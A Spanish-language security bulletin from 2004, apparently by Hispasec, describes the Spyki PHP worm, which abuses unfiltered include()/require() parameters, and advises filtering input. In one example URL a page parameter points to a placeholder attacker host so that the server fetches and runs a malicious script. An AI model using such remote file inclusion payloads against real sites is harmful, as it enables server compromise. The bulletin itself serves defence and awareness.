lunes, 27 de diciembre de 2004

Nuevo gusano para servidores web con PHP

Este nuevo espécimen puede infectar cualquier sitio web PHP que
contenga ciertos errores de programación. Al igual que "Santy",
también utiliza motores de búsqueda para localizar webs
potencialmente vulnerables, en esta ocasión Google Brasil y Yahoo.

Aunque en principio algunas casas antivirus lo han relacionado con el
gusano Santy que aprovechaba vulnerabilidades de phpBB, en realidad se
trata de un nuevo gusano que puede afectar a cualquier sitio web que
utilice PHP y que no haya sido programado de forma segura.

Es importante que los antivirus modifiquen el nombre dado al gusano,
que en un principio ha sido tratado como si fuera una variante de
Santy. Aunque tiene muchas similitudes, es importante tratarlo como
un nuevo gusano, ya que de lo contrario puede crear confusión si los
webmasters y programadores PHP piensan que sólo afecta a los sitios
web con una versión vulnerable de phpBB. En este sentido Kaspersky
lo ha pasado a denominar "Spyki" (Net-Worm.Perl.Spyki).

El nuevo gusano, escrito en Perl, aprovecha si el programador de la
página PHP ha hecho uso de las funciones include() y require() sin
filtrar adecuadamente los parámetros de entrada, lo que facilita al
atacante, o en este caso al gusano, insertar y ejecutar archivos en
el servidor de forma arbitraria.

En realidad se trata de una de las reglas básicas de la programación
segura que todo diseñador web debe tener en cuenta. Nunca debe de
abrir un archivo basándose en un parámetro externo sin comprobar
la validez del mismo. Pese a ello, es un error frecuente el permitir
hacer referencias a archivos externos, o internos saliendo de la
raíz pública del web, a través de un parámetro en la URL.

De forma que si nosotros tenemos un script para abrir archivos HTML
del servidor web, que por ejemplo podemos llamar de esta forma:

http://nuestroservidor/abrepagina.php?htm=index.htm

Un atacante podría provocar que cargara en su lugar un script
malicioso, o un gusano como en el caso que nos ocupa, de la forma:

http://nuestroservidor/abrepagina.php?htm=http://atacante/gusano.php

La solución pasa por evitar parámetros de forma arbitraria cuando
programamos el script PHP, filtrando todas las referencias que no
se ajusten a las páginas legítimas del servidor web.


Bernardo Quintero
bernardo@hispasec.com